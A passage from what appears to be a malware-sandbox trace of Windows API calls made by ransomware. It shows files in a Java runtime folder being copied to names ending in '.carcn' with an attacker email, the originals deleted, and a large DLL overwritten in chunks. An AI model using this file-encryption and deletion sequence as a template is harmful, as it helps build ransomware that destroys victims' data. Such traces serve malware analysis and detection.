(lpString1=".pdf", lpString2=".dll") returned 1 [0300.899] lstrlenW (lpString=".xls") returned 4 [0300.899] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.899] lstrlenW (lpString=".xlsx") returned 5 [0300.899] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0300.899] lstrlenW (lpString=".ppt") returned 4 [0300.899] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.899] lstrlenW (lpString=".zip") returned 4 [0300.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.900] lstrlenW (lpString=".rar") returned 4 [0300.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.900] lstrlenW (lpString=".bz2") returned 4 [0300.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.900] lstrlenW (lpString=".7z") returned 3 [0300.900] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.900] lstrlenW (lpString=".dbf") returned 4 [0300.900] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.900] lstrlenW (lpString=".1cd") returned 4 [0300.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.900] lstrlenW (lpString=".jpg") returned 4 [0300.900] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.900] lstrlenW (lpString=".doc") returned 4 [0300.900] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.900] lstrlenW (lpString=".docx") returned 5 [0300.900] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0300.900] lstrlenW (lpString=".pdf") returned 4 [0300.900] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.900] lstrlenW (lpString=".xls") returned 4 [0300.900] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.900] lstrlenW (lpString=".xlsx") returned 5 [0300.900] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0300.900] lstrlenW (lpString=".ppt") returned 4 [0300.900] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.900] lstrlenW (lpString=".zip") returned 4 [0300.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.900] lstrlenW (lpString=".rar") returned 4 [0300.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.900] lstrlenW (lpString=".bz2") returned 4 [0300.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.900] lstrlenW (lpString=".7z") returned 3 [0300.900] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.901] lstrlenW (lpString=".dbf") returned 4 [0300.901] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.901] lstrlenW (lpString=".1cd") returned 4 [0300.901] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47 [0300.901] lstrlenW (lpString=".jpg") returned 4 [0300.901] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.901] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.901] lstrlenW (lpString="jfr.dll") returned 7 [0300.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0300.901] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=26688) returned 1 [0300.901] CloseHandle (hObject=0x390) returned 1 [0300.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0300.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0300.902] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.902] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0300.902] GetLastError () returned 0x0 [0300.902] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x6840, lpOverlapped=0x0) returned 1 [0300.924] WriteFile (in: hFile=0x350, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x6850, lpOverlapped=0x0) returned 1 [0300.925] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.925] WriteFile (in: hFile=0x350, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0300.925] SetEndOfFile (hFile=0x350) returned 1 [0300.925] CloseHandle (hObject=0x350) returned 1 [0300.925] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.925] SetEndOfFile (hFile=0x390) returned 1 [0300.926] CloseHandle (hObject=0x390) returned 1 [0300.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.926] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 1 [0300.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.926] lstrlenW (lpString=".doc") returned 4 [0300.926] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.926] lstrlenW (lpString=".docx") returned 5 [0300.926] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0300.927] lstrlenW (lpString=".pdf") returned 4 [0300.927] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.927] lstrlenW (lpString=".xls") returned 4 [0300.927] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.927] lstrlenW (lpString=".xlsx") returned 5 [0300.927] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0300.927] lstrlenW (lpString=".ppt") returned 4 [0300.927] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.927] lstrlenW (lpString=".zip") returned 4 [0300.927] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.927] lstrlenW (lpString=".rar") returned 4 [0300.927] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.927] lstrlenW (lpString=".bz2") returned 4 [0300.927] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.927] lstrlenW (lpString=".7z") returned 3 [0300.927] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.927] lstrlenW (lpString=".dbf") returned 4 [0300.927] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.927] lstrlenW (lpString=".1cd") returned 4 [0300.927] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.927] lstrlenW (lpString=".jpg") returned 4 [0300.927] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.927] lstrlenW (lpString=".doc") returned 4 [0300.927] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.927] lstrlenW (lpString=".docx") returned 5 [0300.927] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0300.927] lstrlenW (lpString=".pdf") returned 4 [0300.928] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.928] lstrlenW (lpString=".xls") returned 4 [0300.928] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.928] lstrlenW (lpString=".xlsx") returned 5 [0300.928] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0300.928] lstrlenW (lpString=".ppt") returned 4 [0300.928] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.928] lstrlenW (lpString=".zip") returned 4 [0300.928] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.928] lstrlenW (lpString=".rar") returned 4 [0300.928] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.928] lstrlenW (lpString=".bz2") returned 4 [0300.928] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.928] lstrlenW (lpString=".7z") returned 3 [0300.928] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.928] lstrlenW (lpString=".dbf") returned 4 [0300.928] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.928] lstrlenW (lpString=".1cd") returned 4 [0300.928] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.928] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0300.928] lstrlenW (lpString=".jpg") returned 4 [0300.928] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.928] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.928] lstrlenW (lpString="jfxmedia.dll") returned 12 [0300.928] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0300.929] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=139840) returned 1 [0300.929] CloseHandle (hObject=0x390) returned 1 [0300.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20 [0300.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.929] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0300.929] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.929] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.930] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0300.930] GetLastError () returned 0x0 [0300.930] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x22240, lpOverlapped=0x0) returned 1 [0300.933] WriteFile (in: hFile=0x350, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x22250, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x22250, lpOverlapped=0x0) returned 1 [0300.936] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0300.936] WriteFile (in: hFile=0x350, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0300.936] SetEndOfFile (hFile=0x350) returned 1 [0300.936] CloseHandle (hObject=0x350) returned 1 [0300.936] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0300.936] SetEndOfFile (hFile=0x390) returned 1 [0300.937] CloseHandle (hObject=0x390) returned 1 [0300.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.938] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 1 [0300.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.938] lstrlenW (lpString=".doc") returned 4 [0300.938] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.938] lstrlenW (lpString=".docx") returned 5 [0300.938] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0300.938] lstrlenW (lpString=".pdf") returned 4 [0300.938] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.938] lstrlenW (lpString=".xls") returned 4 [0300.938] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.938] lstrlenW (lpString=".xlsx") returned 5 [0300.938] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0300.938] lstrlenW (lpString=".ppt") returned 4 [0300.938] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.938] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.938] lstrlenW (lpString=".zip") returned 4 [0300.938] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.938] lstrlenW (lpString=".rar") returned 4 [0300.939] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.939] lstrlenW (lpString=".bz2") returned 4 [0300.939] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.939] lstrlenW (lpString=".7z") returned 3 [0300.939] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.939] lstrlenW (lpString=".dbf") returned 4 [0300.939] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.939] lstrlenW (lpString=".1cd") returned 4 [0300.939] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.939] lstrlenW (lpString=".jpg") returned 4 [0300.939] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.939] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.939] lstrlenW (lpString=".doc") returned 4 [0300.939] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.939] lstrlenW (lpString=".docx") returned 5 [0300.939] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0300.939] lstrlenW (lpString=".pdf") returned 4 [0300.939] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.939] lstrlenW (lpString=".xls") returned 4 [0300.939] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.939] lstrlenW (lpString=".xlsx") returned 5 [0300.939] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0300.939] lstrlenW (lpString=".ppt") returned 4 [0300.940] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.940] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.940] lstrlenW (lpString=".zip") returned 4 [0300.940] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.940] lstrlenW (lpString=".rar") returned 4 [0300.940] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.940] lstrlenW (lpString=".bz2") returned 4 [0300.940] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.940] lstrlenW (lpString=".7z") returned 3 [0300.940] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.940] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.940] lstrlenW (lpString=".dbf") returned 4 [0300.940] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.940] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.940] lstrlenW (lpString=".1cd") returned 4 [0300.940] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.940] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0300.940] lstrlenW (lpString=".jpg") returned 4 [0300.940] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.940] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.940] lstrlenW (lpString="jfxwebkit.dll") returned 13 [0300.940] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0300.941] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=41503296) returned 1 [0300.941] CloseHandle (hObject=0x390) returned 1 [0300.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20 [0300.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0300.942] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0300.942] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc64 | out: lpNewFilePointer=0x0) returned 1 [0300.942] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0300.942] ReadFile (in: hFile=0x390, lpBuffer=0x3f52058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3f52058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0300.985] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0300.985] ReadFile (in: hFile=0x390, lpBuffer=0x3f92058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3f92058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0301.019] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x34ffc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0301.019] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc24 | out: lpNewFilePointer=0x0) returned 1 [0301.019] ReadFile (in: hFile=0x390, lpBuffer=0x3fd2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34ffc30, lpOverlapped=0x0 | out: lpBuffer=0x3fd2058*, lpNumberOfBytesRead=0x34ffc30*=0x40000, lpOverlapped=0x0) returned 1 [0301.061] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0301.061] WriteFile (in: hFile=0x390, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x34ffca8, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffca8*=0xc0106, lpOverlapped=0x0) returned 1 [0301.123] SetEndOfFile (hFile=0x390) returned 1 [0301.124] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x44748c0 [0301.128] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0301.128] WriteFile (in: hFile=0x390, lpBuffer=0x44748c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x44748c0*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0301.129] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0301.129] WriteFile (in: hFile=0x390, lpBuffer=0x44748c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x44748c0*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0301.527] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0301.528] WriteFile (in: hFile=0x390, lpBuffer=0x44748c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x44748c0*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0301.532] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0301.535] CloseHandle (hObject=0x390) returned 1 [0301.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0301.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52 [0301.885] lstrlenW (lpString=".doc") returned 4 [0301.885] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.885] lstrlenW (lpString=".docx") returned 5 